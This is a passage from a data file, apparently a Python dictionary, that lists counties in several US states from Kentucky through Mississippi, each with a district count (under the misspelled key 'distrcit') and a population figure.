21421},\n 'Ballard': {'distrcit': 3, 'population': 8249},\n 'Barren': {'distrcit': 10, 'population': 42173},\n 'Bath': {'distrcit': 3, 'population': 11591},\n 'Bell': {'distrcit': 9, 'population': 28691},\n 'Boone': {'distrcit': 22, 'population': 118811},\n 'Bourbon': {'distrcit': 6, 'population': 19985},\n 'Boyd': {'distrcit': 13, 'population': 49542},\n 'Boyle': {'distrcit': 7, 'population': 28432},\n 'Bracken': {'distrcit': 3, 'population': 8488},\n 'Breathitt': {'distrcit': 7, 'population': 13878},\n 'Breckinridge': {'distrcit': 6, 'population': 20059},\n 'Bullitt': {'distrcit': 18, 'population': 74319},\n 'Butler': {'distrcit': 5, 'population': 12690},\n 'Caldwell': {'distrcit': 3, 'population': 12984},\n 'Calloway': {'distrcit': 9, 'population': 37191},\n 'Campbell': {'distrcit': 25, 'population': 90336},\n 'Carlisle': {'distrcit': 3, 'population': 5104},\n 'Carroll': {'distrcit': 3, 'population': 10811},\n 'Carter': {'distrcit': 7, 'population': 27720},\n 'Casey': {'distrcit': 5, 'population': 15955},\n 'Christian': {'distrcit': 19, 'population': 73955},\n 'Clark': {'distrcit': 10, 'population': 35613},\n 'Clay': {'distrcit': 6, 'population': 21730},\n 'Clinton': {'distrcit': 3, 'population': 10272},\n 'Crittenden': {'distrcit': 4, 'population': 9315},\n 'Cumberland': {'distrcit': 2, 'population': 6856},\n 'Daviess': {'distrcit': 23, 'population': 96656},\n 'Edmonson': {'distrcit': 4, 'population': 12161},\n 'Elliott': {'distrcit': 2, 'population': 7852},\n 'Estill': {'distrcit': 4, 'population': 14672},\n 'Fayette': {'distrcit': 82, 'population': 295803},\n 'Fleming': {'distrcit': 4, 'population': 14348},\n 'Floyd': {'distrcit': 10, 'population': 39451},\n 'Franklin': {'distrcit': 11, 'population': 49285},\n 'Fulton': {'distrcit': 2, 'population': 6813},\n 'Gallatin': {'distrcit': 2, 'population': 8589},\n 'Garrard': {'distrcit': 4, 'population': 16912},\n 'Grant': {'distrcit': 4, 'population': 24662},\n 'Graves': {'distrcit': 9, 'population': 37121},\n 'Grayson': {'distrcit': 7, 'population': 25746},\n 'Green': {'distrcit': 4, 'population': 11258},\n 'Greenup': {'distrcit': 9, 'population': 36910},\n 'Hancock': {'distrcit': 3, 'population': 8565},\n 'Hardin': {'distrcit': 22, 'population': 105543},\n 'Harlan': {'distrcit': 11, 'population': 29278},\n 'Harrison': {'distrcit': 5, 'population': 18846},\n 'Hart': {'distrcit': 5, 'population': 18199},\n 'Henderson': {'distrcit': 11, 'population': 46250},\n 'Henry': {'distrcit': 5, 'population': 15416},\n 'Hickman': {'distrcit': 1, 'population': 4902},\n 'Hopkins': {'distrcit': 12, 'population': 46920},\n 'Jackson': {'distrcit': 3, 'population': 13494},\n 'Jefferson': {'distrcit': 191, 'population': 741096},\n 'Jessamine': {'distrcit': 9, 'population': 48586},\n 'Johnson': {'distrcit': 6, 'population': 23356},\n 'Kenton': {'distrcit': 41, 'population': 159720},\n 'Knott': {'distrcit': 5, 'population': 16346},\n 'Knox': {'distrcit': 8, 'population': 31883},\n 'Larue': {'distrcit': 4, 'population': 14193},\n 'Laurel': {'distrcit': 13, 'population': 58849},\n 'Lawrence': {'distrcit': 5, 'population': 15860},\n 'Lee': {'distrcit': 3, 'population': 7887},\n 'Leslie': {'distrcit': 3, 'population': 11310},\n 'Letcher': {'distrcit': 7, 'population': 24519},\n 'Lewis': {'distrcit': 4, 'population': 13870},\n 'Lincoln': {'distrcit': 6, 'population': 24742},\n 'Livingston': {'distrcit': 2, 'population': 9519},\n 'Logan': {'distrcit': 6, 'population': 26835},\n 'Lyon': {'distrcit': 3, 'population': 8314},\n 'Madison': {'distrcit': 19, 'population': 82916},\n 'Magoffin': {'distrcit': 4, 'population': 13333},\n 'Marion': {'distrcit': 6, 'population': 19820},\n 'Marshall': {'distrcit': 6, 'population': 31448},\n 'Martin': {'distrcit': 3, 'population': 12929},\n 'Mason': {'distrcit': 5, 'population': 17490},\n 'McCracken': {'distrcit': 17, 'population': 65565},\n 'McCreary': {'distrcit': 4, 'population': 18306},\n 'McLean': {'distrcit': 3, 'population': 9531},\n 'Meade': {'distrcit': 8, 'population': 28602},\n 'Menifee': {'distrcit': 2, 'population': 6306},\n 'Mercer': {'distrcit': 5, 'population': 21331},\n 'Metcalfe': {'distrcit': 3, 'population': 10099},\n 'Monroe': {'distrcit': 4, 'population': 10963},\n 'Montgomery': {'distrcit': 6, 'population': 26499},\n 'Morgan': {'distrcit': 5, 'population': 13923},\n 'Muhlenberg': {'distrcit': 9, 'population': 31499},\n 'Nelson': {'distrcit': 9, 'population': 43437},\n 'Nicholas': {'distrcit': 2, 'population': 7135},\n 'Ohio': {'distrcit': 7, 'population': 23842},\n 'Oldham': {'distrcit': 14, 'population': 60316},\n 'Owen': {'distrcit': 3, 'population': 10841},\n 'Owsley': {'distrcit': 2, 'population': 4755},\n 'Pendleton': {'distrcit': 3, 'population': 14877},\n 'Perry': {'distrcit': 8, 'population': 28712},\n 'Pike': {'distrcit': 19, 'population': 65024},\n 'Powell': {'distrcit': 2, 'population': 12613},\n 'Pulaski': {'distrcit': 14, 'population': 63063},\n 'Robertson': {'distrcit': 1, 'population': 2282},\n 'Rockcastle': {'distrcit': 4, 'population': 17056},\n 'Rowan': {'distrcit': 4, 'population': 23333},\n 'Russell': {'distrcit': 5, 'population': 17565},\n 'Scott': {'distrcit': 14, 'population': 47173},\n 'Shelby': {'distrcit': 9, 'population': 42074},\n 'Simpson': {'distrcit': 4, 'population': 17327},\n 'Spencer': {'distrcit': 4, 'population': 17061},\n 'Taylor': {'distrcit': 5, 'population': 24512},\n 'Todd': {'distrcit': 4, 'population': 12460},\n 'Trigg': {'distrcit': 5, 'population': 14339},\n 'Trimble': {'distrcit': 2, 'population': 8809},\n 'Union': {'distrcit': 4, 'population': 15007},\n 'Warren': {'distrcit': 24, 'population': 113792},\n 'Washington': {'distrcit': 3, 'population': 11717},\n 'Wayne': {'distrcit': 5, 'population': 20813},\n 'Webster': {'distrcit': 4, 'population': 13621},\n 'Whitley': {'distrcit': 8, 'population': 35637},\n 'Wolfe': {'distrcit': 2, 'population': 7355},\n 'Woodford': {'distrcit': 8, 'population': 24939}},\n 'LA': {'Acadia': {'distrcit': 12, 'population': 61773},\n 'Allen': {'distrcit': 5, 'population': 25764},\n 'Ascension': {'distrcit': 14, 'population': 107215},\n 'Assumption': {'distrcit': 6, 'population': 23421},\n 'Avoyelles': {'distrcit': 9, 'population': 42073},\n 'Beauregard': {'distrcit': 7, 'population': 35654},\n 'Bienville': {'distrcit': 5, 'population': 14353},\n 'Bossier': {'distrcit': 22, 'population': 116979},\n 'Caddo': {'distrcit': 64, 'population': 254969},\n 'Calcasieu': {'distrcit': 44, 'population': 192768},\n 'Caldwell': {'distrcit': 3, 'population': 10132},\n 'Cameron': {'distrcit': 3, 'population': 6839},\n 'Catahoula': {'distrcit': 3, 'population': 10407},\n 'Claiborne': {'distrcit': 5, 'population': 17195},\n 'Concordia': {'distrcit': 5, 'population': 20822},\n 'De Soto': {'distrcit': 7, 'population': 26656},\n 'East Baton Rouge': {'distrcit': 92, 'population': 440171},\n 'East Carroll': {'distrcit': 3, 'population': 7759},\n 'East Feliciana': {'distrcit': 5, 'population': 20267},\n 'Evangeline': {'distrcit': 8, 'population': 33984},\n 'Franklin': {'distrcit': 6, 'population': 20767},\n 'Grant': {'distrcit': 5, 'population': 22309},\n 'Iberia': {'distrcit': 15, 'population': 73240},\n 'Iberville': {'distrcit': 7, 'population': 33387},\n 'Jackson': {'distrcit': 5, 'population': 16274},\n 'Jefferson': {'distrcit': 127, 'population': 432552},\n 'Jefferson Davis': {'distrcit': 7, 'population': 31594},\n 'La Salle': {'distrcit': 3, 'population': 14890},\n 'Lafayette': {'distrcit': 43, 'population': 221578},\n 'Lafourche': {'distrcit': 23, 'population': 96318},\n 'Lincoln': {'distrcit': 10, 'population': 46735},\n 'Livingston': {'distrcit': 17, 'population': 128026},\n 'Madison': {'distrcit': 5, 'population': 12093},\n 'Morehouse': {'distrcit': 8, 'population': 27979},\n 'Natchitoches': {'distrcit': 9, 'population': 39566},\n 'Orleans': {'distrcit': 177, 'population': 343829},\n 'Ouachita': {'distrcit': 40, 'population': 153720},\n 'Plaquemines': {'distrcit': 9, 'population': 23042},\n 'Pointe Coupee': {'distrcit': 6, 'population': 22802},\n 'Rapides': {'distrcit': 33, 'population': 131613},\n 'Red River': {'distrcit': 2, 'population': 9091},\n 'Richland': {'distrcit': 6, 'population': 20725},\n 'Sabine': {'distrcit': 7, 'population': 24233},\n 'St. Bernard': {'distrcit': 18, 'population': 35897},\n 'St. Charles': {'distrcit': 13, 'population': 52780},\n 'St. Helena': {'distrcit': 2, 'population': 11203},\n 'St. James': {'distrcit': 7, 'population': 22102},\n 'St. John the Baptist': {'distrcit': 11, 'population': 45924},\n 'St. Landry': {'distrcit': 19, 'population': 83384},\n 'St. Martin': {'distrcit': 11, 'population': 52160},\n 'St. Mary': {'distrcit': 16, 'population': 54650},\n 'St. Tammany': {'distrcit': 43, 'population': 233740},\n 'Tangipahoa': {'distrcit': 20, 'population': 121097},\n 'Tensas': {'distrcit': 3, 'population': 5252},\n 'Terrebonne': {'distrcit': 21, 'population': 111860},\n 'Union': {'distrcit': 6, 'population': 22721},\n 'Vermilion': {'distrcit': 12, 'population': 57999},\n 'Vernon': {'distrcit': 12, 'population': 52334},\n 'Washington': {'distrcit': 11, 'population': 47168},\n 'Webster': {'distrcit': 11, 'population': 41207},\n 'West Baton Rouge': {'distrcit': 5, 'population': 23788},\n 'West Carroll': {'distrcit': 3, 'population': 11604},\n 'West Feliciana': {'distrcit': 3, 'population': 15625},\n 'Winn': {'distrcit': 4, 'population': 15313}},\n 'MA': {'Barnstable': {'distrcit': 57, 'population': 215888},\n 'Berkshire': {'distrcit': 39, 'population': 131219},\n 'Bristol': {'distrcit': 126, 'population': 548285},\n 'Dukes': {'distrcit': 4, 'population': 16535},\n 'Essex': {'distrcit': 163, 'population': 743159},\n 'Franklin': {'distrcit': 18, 'population': 71372},\n 'Hampden': {'distrcit': 103, 'population': 463490},\n 'Hampshire': {'distrcit': 36, 'population': 158080},\n 'Middlesex': {'distrcit': 318, 'population': 1503085},\n 'Nantucket': {'distrcit': 6, 'population': 10172},\n 'Norfolk': {'distrcit': 130, 'population': 670850},\n 'Plymouth': {'distrcit': 100, 'population': 494919},\n 'Suffolk': {'distrcit': 204, 'population': 722023},\n 'Worcester': {'distrcit': 172, 'population': 798552}},\n 'MD': {'Allegany': {'distrcit': 23, 'population': 75087},\n 'Anne Arundel': {'distrcit': 104, 'population': 537656},\n 'Baltimore': {'distrcit': 214, 'population': 805029},\n 'Baltimore City': {'distrcit': 200, 'population': 620961},\n 'Calvert': {'distrcit': 18, 'population': 88737},\n 'Caroline': {'distrcit': 9, 'population': 33066},\n 'Carroll': {'distrcit': 38, 'population': 167134},\n 'Cecil': {'distrcit': 19, 'population': 101108},\n 'Charles': {'distrcit': 30, 'population': 146551},\n 'Dorchester': {'distrcit': 10, 'population': 32618},\n 'Frederick': {'distrcit': 61, 'population': 233385},\n 'Garrett': {'distrcit': 7, 'population': 30097},\n 'Harford': {'distrcit': 57, 'population': 244826},\n 'Howard': {'distrcit': 55, 'population': 287085},\n 'Kent': {'distrcit': 5, 'population': 20197},\n 'Montgomery': {'distrcit': 215, 'population': 971777},\n \"Prince George's\": {'distrcit': 218, 'population': 863420},\n \"Queen Anne's\": {'distrcit': 12, 'population': 47798},\n 'Somerset': {'distrcit': 8, 'population': 26470},\n \"St. Mary's\": {'distrcit': 18, 'population': 105151},\n 'Talbot': {'distrcit': 10, 'population': 37782},\n 'Washington': {'distrcit': 32, 'population': 147430},\n 'Wicomico': {'distrcit': 19, 'population': 98733},\n 'Worcester': {'distrcit': 17, 'population': 51454}},\n 'ME': {'Androscoggin': {'distrcit': 28, 'population': 107702},\n 'Aroostook': {'distrcit': 24, 'population': 71870},\n 'Cumberland': {'distrcit': 67, 'population': 281674},\n 'Franklin': {'distrcit': 9, 'population': 30768},\n 'Hancock': {'distrcit': 17, 'population': 54418},\n 'Kennebec': {'distrcit': 31, 'population': 122151},\n 'Knox': {'distrcit': 11, 'population': 39736},\n 'Lincoln': {'distrcit': 9, 'population': 34457},\n 'Oxford': {'distrcit': 17, 'population': 57833},\n 'Penobscot': {'distrcit': 46, 'population': 153923},\n 'Piscataquis': {'distrcit': 8, 'population': 17535},\n 'Sagadahoc': {'distrcit': 8, 'population': 35293},\n 'Somerset': {'distrcit': 17, 'population': 52228},\n 'Waldo': {'distrcit': 8, 'population': 38786},\n 'Washington': {'distrcit': 14, 'population': 32856},\n 'York': {'distrcit': 41, 'population': 197131}},\n 'MI': {'Alcona': {'distrcit': 5, 'population': 10942},\n 'Alger': {'distrcit': 3, 'population': 9601},\n 'Allegan': {'distrcit': 25, 'population': 111408},\n 'Alpena': {'distrcit': 10, 'population': 29598},\n 'Antrim': {'distrcit': 7, 'population': 23580},\n 'Arenac': {'distrcit': 5, 'population': 15899},\n 'Baraga': {'distrcit': 2, 'population': 8860},\n 'Barry': {'distrcit': 11, 'population': 59173},\n 'Bay': {'distrcit': 26, 'population': 107771},\n 'Benzie': {'distrcit': 5, 'population': 17525},\n 'Berrien': {'distrcit': 48, 'population': 156813},\n 'Branch': {'distrcit': 12, 'population': 45248},\n 'Calhoun': {'distrcit': 39, 'population': 136146},\n 'Cass': {'distrcit': 11, 'population': 52293},\n 'Charlevoix': {'distrcit': 13, 'population': 25949},\n 'Cheboygan': {'distrcit': 8, 'population': 26152},\n 'Chippewa': {'distrcit': 14, 'population': 38520},\n 'Clare': {'distrcit': 11, 'population': 30926},\n 'Clinton': {'distrcit': 22, 'population': 75382},\n 'Crawford': {'distrcit': 5, 'population': 14074},\n 'Delta': {'distrcit': 11, 'population': 37069},\n 'Dickinson': {'distrcit': 7, 'population': 26168},\n 'Eaton': {'distrcit': 28, 'population': 107759},\n 'Emmet': {'distrcit': 8, 'population': 32694},\n 'Genesee': {'distrcit': 131, 'population': 425790},\n 'Gladwin': {'distrcit': 9, 'population': 25692},\n 'Gogebic': {'distrcit': 7, 'population': 16427},\n 'Grand Traverse': {'distrcit': 16, 'population': 86986},\n 'Gratiot': {'distrcit': 10, 'population': 42476},\n 'Hillsdale': {'distrcit': 12, 'population': 46688},\n 'Houghton': {'distrcit': 11, 'population': 36628},\n 'Huron': {'distrcit': 12, 'population': 33118},\n 'Ingham': {'distrcit': 81, 'population': 280895},\n 'Ionia': {'distrcit': 13, 'population': 63905},\n 'Iosco': {'distrcit': 9, 'population': 25887},\n 'Iron': {'distrcit': 5, 'population': 11817},\n 'Isabella': {'distrcit': 15, 'population': 70311},\n 'Jackson': {'distrcit': 38, 'population': 160248},\n 'Kalamazoo': {'distrcit': 57, 'population': 250331},\n 'Kalkaska': {'distrcit': 5, 'population': 17153},\n 'Kent': {'distrcit': 128, 'population': 602622},\n 'Keweenaw': {'distrcit': 2, 'population': 2156},\n 'Lake': {'distrcit': 4, 'population': 11539},\n 'Lapeer': {'distrcit': 24, 'population': 88319},\n 'Leelanau': {'distrcit': 6, 'population': 21708},\n 'Lenawee': {'distrcit': 23, 'population': 99892},\n 'Livingston': {'distrcit': 61, 'population': 180967},\n 'Luce': {'distrcit': 3, 'population': 6631},\n 'Mackinac': {'distrcit': 6, 'population': 11113},\n 'Macomb': {'distrcit': 216, 'population': 840978},\n 'Manistee': {'distrcit': 9, 'population': 24733},\n 'Marquette': {'distrcit': 24, 'population': 67077},\n 'Mason': {'distrcit': 8, 'population': 28705},\n 'Mecosta': {'distrcit': 11, 'population': 42798},\n 'Menominee': {'distrcit': 7, 'population': 24029},\n 'Midland': {'distrcit': 19, 'population': 83629},\n 'Missaukee': {'distrcit': 4, 'population': 14849},\n 'Monroe': {'distrcit': 39, 'population': 152021},\n 'Montcalm': {'distrcit': 13, 'population': 63342},\n 'Montmorency': {'distrcit': 5, 'population': 9765},\n 'Muskegon': {'distrcit': 42, 'population': 172188},\n 'Newaygo': {'distrcit': 11, 'population': 48460},\n 'Oakland': {'distrcit': 338, 'population': 1202362},\n 'Oceana': {'distrcit': 7, 'population': 26570},\n 'Ogemaw': {'distrcit': 7, 'population': 21699},\n 'Ontonagon': {'distrcit': 4, 'population': 6780},\n 'Osceola': {'distrcit': 6, 'population': 23528},\n 'Oscoda': {'distrcit': 5, 'population': 8640},\n 'Otsego': {'distrcit': 6, 'population': 24164},\n 'Ottawa': {'distrcit': 53, 'population': 263801},\n 'Presque Isle': {'distrcit': 6, 'population': 13376},\n 'Roscommon': {'distrcit': 10, 'population': 24449},\n 'Saginaw': {'distrcit': 56, 'population': 200169},\n 'Sanilac': {'distrcit': 12, 'population': 43114},\n 'Schoolcraft': {'distrcit': 3, 'population': 8485},\n 'Shiawassee': {'distrcit': 17, 'population': 70648},\n 'St. Clair': {'distrcit': 49, 'population': 163040},\n 'St. Joseph': {'distrcit': 17, 'population': 61295},\n 'Tuscola': {'distrcit': 13, 'population': 55729},\n 'Van Buren': {'distrcit': 15, 'population': 76258},\n 'Washtenaw': {'distrcit': 100, 'population': 344791},\n 'Wayne': {'distrcit': 610, 'population': 1820584},\n 'Wexford': {'distrcit': 8, 'population': 32735}},\n 'MN': {'Aitkin': {'distrcit': 6, 'population': 16202},\n 'Anoka': {'distrcit': 83, 'population': 330844},\n 'Becker': {'distrcit': 10, 'population': 32504},\n 'Beltrami': {'distrcit': 10, 'population': 44442},\n 'Benton': {'distrcit': 9, 'population': 38451},\n 'Big Stone': {'distrcit': 3, 'population': 5269},\n 'Blue Earth': {'distrcit': 16, 'population': 64013},\n 'Brown': {'distrcit': 8, 'population': 25893},\n 'Carlton': {'distrcit': 7, 'population': 35386},\n 'Carver': {'distrcit': 19, 'population': 91042},\n 'Cass': {'distrcit': 10, 'population': 28567},\n 'Chippewa': {'distrcit': 4, 'population': 12441},\n 'Chisago': {'distrcit': 10, 'population': 53887},\n 'Clay': {'distrcit': 13, 'population': 58999},\n 'Clearwater': {'distrcit': 3, 'population': 8695},\n 'Cook': {'distrcit': 3, 'population': 5176},\n 'Cottonwood': {'distrcit': 4, 'population': 11687},\n 'Crow Wing': {'distrcit': 16, 'population': 62500},\n 'Dakota': {'distrcit': 95, 'population': 398552},\n 'Dodge': {'distrcit': 5, 'population': 20087},\n 'Douglas': {'distrcit': 9, 'population': 36009},\n 'Faribault': {'distrcit': 6, 'population': 14553},\n 'Fillmore': {'distrcit': 6, 'population': 20866},\n 'Freeborn': {'distrcit': 10, 'population': 31255},\n 'Goodhue': {'distrcit': 10, 'population': 46183},\n 'Grant': {'distrcit': 2, 'population': 6018},\n 'Hennepin': {'distrcit': 299, 'population': 1152425},\n 'Houston': {'distrcit': 5, 'population': 19027},\n 'Hubbard': {'distrcit': 7, 'population': 20428},\n 'Isanti': {'distrcit': 8, 'population': 37816},\n 'Itasca': {'distrcit': 11, 'population': 45058},\n 'Jackson': {'distrcit': 4, 'population': 10266},\n 'Kanabec': {'distrcit': 4, 'population': 16239},\n 'Kandiyohi': {'distrcit': 12, 'population': 42239},\n 'Kittson': {'distrcit': 2, 'population': 4552},\n 'Koochiching': {'distrcit': 4, 'population': 13311},\n 'Lac qui Parle': {'distrcit': 3, 'population': 7259},\n 'Lake': {'distrcit': 3, 'population': 10866},\n 'Lake of the Woods': {'distrcit': 2, 'population': 4045},\n 'Le Sueur': {'distrcit': 6, 'population': 27703},\n 'Lincoln': {'distrcit': 2, 'population': 5896},\n 'Lyon': {'distrcit': 7, 'population': 25857},\n 'Mahnomen': {'distrcit': 2, 'population': 5413},\n 'Marshall': {'distrcit': 4, 'population': 9439},\n 'Martin': {'distrcit': 6, 'population': 20840},\n 'McLeod': {'distrcit': 7, 'population': 36651},\n 'Meeker': {'distrcit': 6, 'population': 23300},\n 'Mille Lacs': {'distrcit': 7, 'population': 26097},\n 'Morrison': {'distrcit': 8, 'population': 33198},\n 'Mower': {'distrcit': 11, 'population': 39163},\n 'Murray': {'distrcit': 3, 'population': 8725},\n 'Nicollet': {'distrcit': 7, 'population': 32727},\n 'Nobles': {'distrcit': 6, 'population': 21378},\n 'Norman': {'distrcit': 3, 'population': 6852},\n 'Olmsted': {'distrcit': 33, 'population': 144248},\n 'Otter Tail': {'distrcit': 17, 'population': 57303},\n 'Pennington': {'distrcit': 5, 'population': 13930},\n 'Pine': {'distrcit': 8, 'population': 29750},\n 'Pipestone': {'distrcit': 5, 'population': 9596},\n 'Polk': {'distrcit': 10, 'population': 31600},\n 'Pope': {'distrcit': 4, 'population': 10995},\n 'Ramsey': {'distrcit': 137, 'population': 508640},\n 'Red Lake': {'distrcit': 2, 'population': 4089},\n 'Redwood': {'distrcit': 6, 'population': 16059},\n 'Renville': {'distrcit': 6, 'population': 15730},\n 'Rice': {'distrcit': 13, 'population': 64142},\n 'Rock': {'distrcit': 3, 'population': 9687},\n 'Roseau': {'distrcit': 5, 'population': 15629},\n 'Scott': {'distrcit': 21, 'population': 129928},\n 'Sherburne': {'distrcit': 11, 'population': 88499},\n 'Sibley': {'distrcit': 4, 'population': 15226},\n 'St. Louis': {'distrcit': 66, 'population': 200226},\n 'Stearns': {'distrcit': 29, 'population': 150642},\n 'Steele': {'distrcit': 8, 'population': 36576},\n 'Stevens': {'distrcit': 3, 'population': 9726},\n 'Swift': {'distrcit': 4, 'population': 9783},\n 'Todd': {'distrcit': 8, 'population': 24895},\n 'Traverse': {'distrcit': 2, 'population': 3558},\n 'Wabasha': {'distrcit': 6, 'population': 21676},\n 'Wadena': {'distrcit': 3, 'population': 13843},\n 'Waseca': {'distrcit': 5, 'population': 19136},\n 'Washington': {'distrcit': 50, 'population': 238136},\n 'Watonwan': {'distrcit': 3, 'population': 11211},\n 'Wilkin': {'distrcit': 2, 'population': 6576},\n 'Winona': {'distrcit': 10, 'population': 51461},\n 'Wright': {'distrcit': 17, 'population': 124700},\n 'Yellow Medicine': {'distrcit': 4, 'population': 10438}},\n 'MO': {'Adair': {'distrcit': 7, 'population': 25607},\n 'Andrew': {'distrcit': 4, 'population': 17291},\n 'Atchison': {'distrcit': 2, 'population': 5685},\n 'Audrain': {'distrcit': 7, 'population': 25529},\n 'Barry': {'distrcit': 7, 'population': 35597},\n 'Barton': {'distrcit': 3, 'population': 12402},\n 'Bates': {'distrcit': 4, 'population': 17049},\n 'Benton': {'distrcit': 6, 'population': 19056},\n 'Bollinger': {'distrcit': 3, 'population': 12363},\n 'Boone': {'distrcit': 29, 'population': 162642},\n 'Buchanan': {'distrcit': 25, 'population': 89201},\n 'Butler': {'distrcit': 10, 'population': 42794},\n 'Caldwell': {'distrcit': 2, 'population': 9424},\n 'Callaway': {'distrcit': 8, 'population': 44332},\n 'Camden': {'distrcit': 11, 'population': 44002},\n 'Cape Girardeau': {'distrcit': 16, 'population': 75674},\n 'Carroll': {'distrcit': 3, 'population': 9295},\n 'Carter': {'distrcit': 2, 'population': 6265},\n 'Cass': {'distrcit': 20, 'population': 99478},\n 'Cedar': {'distrcit': 3, 'population': 13982},\n 'Chariton': {'distrcit': 3, 'population': 7831},\n 'Christian': {'distrcit': 14, 'population': 77422},\n 'Clark': {'distrcit': 3, 'population': 7139},\n 'Clay': {'distrcit': 44, 'population': 221939},\n 'Clinton': {'distrcit': 4, 'population': 20743},\n 'Cole': {'distrcit': 15, 'population': 75990},\n 'Cooper': {'distrcit': 5, 'population': 17601},\n 'Crawford': {'distrcit': 6, 'population': 24696},\n 'Dade': {'distrcit': 2, 'population': 7883},\n 'Dallas': {'distrcit': 3, 'population': 16777},\n 'Daviess': {'distrcit': 2, 'population': 8433},\n 'DeKalb': {'distrcit': 2, 'population': 12892},\n 'Dent': {'distrcit': 4, 'population': 15657},\n 'Douglas': {'distrcit': 3, 'population': 13684},\n 'Dunklin': {'distrcit': 10, 'population': 31953},\n 'Franklin': {'distrcit': 17, 'population': 101492},\n 'Gasconade': {'distrcit': 5, 'population': 15222},\n 'Gentry': {'distrcit': 2, 'population': 6738},\n 'Greene': {'distrcit': 62, 'population': 275174},\n 'Grundy': {'distrcit': 4, 'population': 10261},\n 'Harrison': {'distrcit': 3, 'population': 8957},\n 'Henry': {'distrcit': 6, 'population': 22272},\n 'Hickory': {'distrcit': 3, 'population': 9627},\n 'Holt': {'distrcit': 3, 'population': 4912},\n 'Howard': {'distrcit': 3, 'population': 10144},\n 'Howell': {'distrcit': 8, 'population': 40400},\n 'Iron': {'distrcit': 4, 'population': 10630},\n 'Jackson': {'distrcit': 199, 'population': 674158},\n 'Jasper': {'distrcit': 22, 'population': 117404},\n 'Jefferson': {'distrcit': 42, 'population': 218733},\n 'Johnson': {'distrcit': 9, 'population': 52595},\n 'Knox': {'distrcit': 2, 'population': 4131},\n 'Laclede': {'distrcit': 6, 'population': 35571},\n 'Lafayette': {'distrcit': 7, 'population': 33381},\n 'Lawrence': {'distrcit': 7, 'population': 38634},\n 'Lewis': {'distrcit': 4, 'population': 10211},\n 'Lincoln': {'distrcit': 7, 'population': 52566},\n 'Linn': {'distrcit': 5, 'population': 12761},\n 'Livingston': {'distrcit': 5, 'population': 15195},\n 'Macon': {'distrcit': 5, 'population': 15566},\n 'Madison': {'distrcit': 3, 'population': 12226},\n 'Maries': {'distrcit': 3, 'population': 9176},\n 'Marion': {'distrcit': 8, 'population': 28781},\n 'McDonald': {'distrcit': 4, 'population': 23083},\n 'Mercer': {'distrcit': 2, 'population': 3785},\n 'Miller': {'distrcit': 5, 'population': 24748},\n 'Mississippi': {'distrcit': 4, 'population': 14358},\n 'Moniteau': {'distrcit': 4, 'population': 15607},\n 'Monroe': {'distrcit': 3, 'population': 8840},\n 'Montgomery': {'distrcit': 4, 'population': 12236},\n 'Morgan': {'distrcit': 5, 'population': 20565},\n 'New Madrid': {'distrcit': 6, 'population': 18956},\n 'Newton': {'distrcit': 12, 'population': 58114},\n 'Nodaway': {'distrcit': 5, 'population': 23370},\n 'Oregon': {'distrcit': 3, 'population': 10881},\n 'Osage': {'distrcit': 4, 'population': 13878},\n 'Ozark': {'distrcit': 2, 'population': 9723},\n 'Pemiscot': {'distrcit': 6, 'population': 18296},\n 'Perry': {'distrcit': 5, 'population': 18971},\n 'Pettis': {'distrcit': 11, 'population': 42201},\n 'Phelps': {'distrcit': 10, 'population': 45156},\n 'Pike': {'distrcit': 5, 'population': 18516},\n 'Platte': {'distrcit': 20, 'population': 89322},\n 'Polk': {'distrcit': 4, 'population': 31137},\n 'Pulaski': {'distrcit': 9, 'population': 52274},\n 'Putnam': {'distrcit': 2, 'population': 4979},\n 'Ralls': {'distrcit': 3, 'population': 10167},\n 'Randolph': {'distrcit': 6, 'population': 25414},\n 'Ray': {'distrcit': 4, 'population': 23494},\n 'Reynolds': {'distrcit': 2, 'population': 6696},\n 'Ripley': {'distrcit': 4, 'population': 14100},\n 'Saline': {'distrcit': 8, 'population': 23370},\n 'Schuyler': {'distrcit': 2, 'population': 4431},\n 'Scotland': {'distrcit': 2, 'population': 4843},\n 'Scott': {'distrcit': 10, 'population': 39191},\n 'Shannon': {'distrcit': 2, 'population': 8441},\n 'Shelby': {'distrcit': 3, 'population': 6373},\n 'St. Charles': {'distrcit': 79, 'population': 360485},\n 'St. Clair': {'distrcit': 3, 'population': 9805},\n 'St. Francois': {'distrcit': 11, 'population': 65359},\n 'St. Louis': {'distrcit': 199, 'population': 998954},\n 'St. Louis City': {'distrcit': 106, 'population': 319294},\n 'Ste. Genevieve': {'distrcit': 4, 'population': 18145},\n 'Stoddard': {'distrcit': 8, 'population': 29968},\n 'Stone': {'distrcit': 6, 'population': 32202},\n 'Sullivan': {'distrcit': 3, 'population': 6714},\n 'Taney': {'distrcit': 10, 'population': 51675},\n 'Texas': {'distrcit': 4, 'population': 26008},\n 'Vernon': {'distrcit': 6, 'population': 21159},\n 'Warren': {'distrcit': 5, 'population': 32513},\n 'Washington': {'distrcit': 5, 'population': 25195},\n 'Wayne': {'distrcit': 4, 'population': 13521},\n 'Webster': {'distrcit': 8, 'population': 36202},\n 'Worth': {'distrcit': 1, 'population': 2171},\n 'Wright': {'distrcit': 4, 'population': 18815}},\n 'MS': {'Adams': {'distrcit': 9, 'population': 32297},\n 'Alcorn': {'distrcit': 7, 'population': 37057},\n 'Amite': {'distrcit': 3, 'population': 13131},\n 'Attala': {'distrcit': 6, 'population': 19564},\n 'Benton': {'distrcit': 2, 'population': 8729},\n 'Bolivar': {'distrcit': 8, 'population': 34145},\n 'Calhoun': {'distrcit': 5, 'population': 14962},\n 'Carroll': {'distrcit': 2, 'population': 10597},\n 'Chickasaw': {'distrcit': 4, 'population': 17392},\n 'Choctaw': {'distrcit': 3, 'population': 8547},\n 'Claiborne': {'distrcit': 3, 'population': 9604},\n 'Clarke': {'distrcit': 4, 'population': 16732},\n 'Clay': {'distrcit': 5, 'population': 20634},\n 'Coahoma': {'distrcit': 7, 'population': 26151},\n 'Copiah': {'distrcit': 6, 'population': 29449},\n 'Covington': {'distrcit': 4, 'population': 19568},\n 'DeSoto': {'distrcit': 33, 'population': 161252},\n 'Forrest': {'distrcit': 17, 'population': 74934},\n 'Franklin': {'distrcit': 2, 'population': 8118},\n 'George': {'distrcit': 5, 'population': 22578},\n 'Greene': {'distrcit': 2, 'population': 14400},\n 'Grenada': {'distrcit': 5, 'population': 21906},\n 'Hancock': {'distrcit': 7, 'population': 43929},\n 'Harrison': {'distrcit': 46, 'population': 187105},\n 'Hinds': {'distrcit': 64, 'population': 245285},\n 'Holmes': {'distrcit': 5, 'population': 19198},\n 'Humphreys': {'distrcit': 3, 'population': 9375},\n 'Issaquena': {'distrcit': 1, 'population': 1406},\n 'Itawamba': {'distrcit': 5, 'population': 